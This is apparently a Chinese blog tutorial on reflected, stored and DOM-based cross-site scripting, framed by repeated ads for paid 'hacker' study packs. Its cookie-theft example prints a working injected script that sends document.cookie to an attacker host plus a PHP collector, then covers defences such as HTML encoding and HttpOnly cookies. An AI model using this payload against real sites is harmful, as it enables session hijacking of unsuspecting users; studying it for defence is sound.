先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7
深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
正文
非正常发送消息:
http://www.test.com/message.php?send=!
接收者接收消息显示的时候将会弹出警告窗口
3.2、存贮型xss攻击
又称为持久型跨站点脚本,它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久性XSS攻击危害性更大,因为每当用户打开页面,查看内容时脚本将自动执行。谷歌的orkut曾经就遭受到XSS。
简单例子:
从名字就可了解到存储型XSS攻击就是将攻击代码存入数据库中,然后客户端打开时就执行这些攻击代码。例如留言板
留言板表单中的表单域:
正常操作:
用户是提交相应留言信息;将数据存储到数据库;其他用户访问留言板,应用去数据并显示。
非正常操作:
攻击者在value填写【或者html其他标签(破坏样式。。。)、一段攻击型代码】;
将数据存储到数据库中;
其他用户取出数据显示的时候,将会执行这些攻击性代码
3.3、DOMBasedXSS(基于dom的跨站点脚本攻击)
基于DOM的XSS有时也称为type0XSS。当用户能够通过交互修改浏览器页面中的DOM(DocumentObjectModel)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来说它也是反射型XSS。
通过修改页面的DOM节点形成的XSS,称之为DOMBasedXSS。
前提是易受攻击的网站有一个HTML页面采用不安全的方式从document.location 或document.URL 或 document.referrer获取数据(或者任何其他攻击者可以修改的对象)。
简单例子:
1 <HTML>
2 <TITLE>Welcome!</TITLE>
3 Hi
4 <SCRIPT>
5 var pos=document.URL.indexOf("name=")+5;
6 document.write(document.URL.substring(pos,document.URL.length));
7 </SCRIPT>
8 <BR>
9 Welcome to our system
10 …
11 </HTML>
这个例子是个欢迎页面,name是截取URL中get过来的name参数
正常操作:
http://www.vulnerable.site/welcome.html?name=Joe
非正常操作:
http://www.vulnerable.site/welcome.html?name=
将产生xss条件。让我们看看为什么:受害者的浏览器接收到这个链接,发送HTTP请求到www.vulnerable.site并且接受到上面的HTML页。受害者的浏览器开始解析这个HTML为DOM,DOM包含一个对象叫document,document里面有个URL属性,这个属性里填充着当前页面的URL。当解析器到达javascript代码,它会执行它并且修改你的HTML页面。倘若代码中引用了document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,然后立即解析,同时,javascript代码会找到(alert(…))并且在同一个页面执行它,这就产生了xss的条件。
注意:
1. 恶意程序脚本在任何时候不会嵌入到处于自然状态下的HTML页面(这和其他种类的xss不太一样)。
2.这个攻击只有在浏览器没有修改URL字符时起作用。 当url不是直接在地址栏输入,Mozilla.会自动转换在document.URL中字符<和>(转化为%3C 和 %3E),因此在就不会受到上面示例那样的攻击了,在IE6下没有转换<和>,因此他很容易受到攻击。
当然,直接嵌入到HTML只是攻击的一个挂载点,有很多脚本不需要依赖<和>漏洞,因此Mozilla通常也是无法阻止这些攻击的。
4、XSS攻击实例分析
例1、简单XSS攻击
留言类,简单注入javascript
有个表单域:
1、假若用户填写数据为:)
2、提交后将会弹出一个foolish警告窗口,接着将数据存入数据库
3、等到别的客户端请求这个留言的时候,将数据取出显示留言时将执行攻击代码,将会显示一个foolish警告窗口。
【将数据改成html标签进行攻击,则会将原本的样式打乱。。。。。。。。】
例2、盗取cookie
1、网站所在域名为www.test88.com、攻击者控制的主机www.linuxtest.com
2、test88.com中的表单,xss.html
1 <!DOCTYPE html>
2 <html>
3 <head>
4 <title>xss攻击</title>
5 <meta charset="utf-8">
6 </head>
7 <body>
8
9 <form action="./test99.php" method="post">
10 留言:<input type="text" name="content" value=""><br/>
11 <input type="submit" name="" value='提交'>
12 </form>
13 <br/>留言记录:<br/>
14 </body>
15 </html>
3、恶意攻击者插入相应代码
1 <script>
2 var Str=document.cookie; //获取cookie
3 var a =document.createElement('a'); //创建a标签
4 a.href='http://www.linuxtest.com/test2.php?'+Str; //攻击者主机
5 a.innerHTML="<img src='./aa.jpg'>"; //掩护图片
6 document.body.appendChild(a); //将标签添加到页面中
7 </script>
4、数据(攻击代码)插入数据库
5、攻击者控制的主机中设置接收盗取的cookie
1 <?php
2 header("content-type:text/html;charset=utf8");
3 echo "你的PHPSESSID被盗啦";
4 echo "<pre>";
5 print_r($_GET);
6 echo "</pre>";
7 $cookie=$_GET['PHPSESSID'];
8 file_put_contents('./xss.txt', $cookie);
9 ?>
开始模拟测试
1、test88.com中设置生成sessionID代码
1 <?php
2 session_start();
3 $_SESSION['xss']='xssssss';
4 echo "<pre>";
5 print_r($_SESSION);
6 echo "</pre>";die;
7 ?>
2、客户端访问上面代码并生成自己的sessionID
3、客户端访问xss.html
#下面为模拟被攻击后取出数据的xss.html代码(显示数据)
1 <!DOCTYPE html>
2 <html>
3 <head>
4 <title>xss攻击</title>
5 <meta charset="utf-8">
6 </head>
7 <body>
8 <form action="./test99.php" method="post">
9 留言:<input type="text" name="content" value=""><br/>
10 <input type="submit" name="" value='提交'>
11 </form>
12 <br/>留言记录:<br/>
13 <script>
14 var Str=document.cookie; //获取cookie
15 var a =document.createElement('a'); //创建a标签
16 a.href='http://www.linuxtest.com/test2.php?'+Str; //攻击者主机
17 a.innerHTML="<img src='./aa.jpg'>"; //掩护图片
18 document.body.appendChild(a); //将标签添加到页面中
19 </script>
20 </body>
21 </html>
4、客户端不小心点击到图片,sessionID将被盗
# vi xss.txt
【当然这仅仅只是一个很简单的攻击,只要将数据过滤就可以避免这个攻击了,这里只是让大家了解XSS是如何进行攻击的。】
5、XSS漏洞修复
从上面XSS实例以及之前文章的介绍我们知道XSS漏洞的起因就是没有对用户提交的数据进行严格的过滤处理。因此在思考解决XSS漏洞的时候,我们应该重点把握如何才能更好的将用户提交的数据进行安全过滤。
5.1、html实体
什么是html实体?
在html中有些字符,像(<)这类的,对HTML(标准通用标记语言下的一个应用)来说是有特殊意义的,所以这些字符是不允许在文本中使用的。要在HTML中显示(<)这个字符,我们就必须使用实体字符。
html实体的存在是导致XSS漏洞的主要原因之一。
因此我们需要将这些实体全部转换为相应的实体编号。
显示结果 | 描述 | 实体名称 |
空格 | ||
< | 小于号 | < |
> | 大于号 | > |
& | 和号 | & |
" | 引号 | " |
’ | 撇号 | ' (IE不支持) |
5.2、HTML Encode
用户将数据提交上来的时候进行HTML编码,将相应的符号转换为实体名称再进行下一步的处理。
在PHP中已经存在这样子功能的函数,即是htmlentities($str)函数。
与之相反的就是html_entity_decode($str)函数,它将实体名称转换为相应的符号。
5.3、修复漏洞方针
【不相应用户提交的数据,过滤过滤过滤!】
1、将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
2、表单数据规定值的类型,例如:年龄应为只能为int、name只能为字母数字组合。。。。
4、对数据进行Html Encode 处理
5、过滤或移除特殊的Html标签, 例如:
6、过滤JavaScript 事件的标签。例如 “οnclick=”, “onfocus” 等等。
给大家的福利
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料
网络安全面试题
绿盟护网行动
还有大家最喜欢的黑客技术
网络安全源码合集+工具包
所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
5.png)
所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
[外链图片转存中…(img-2ZngWP4Y-1713438500777)]
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!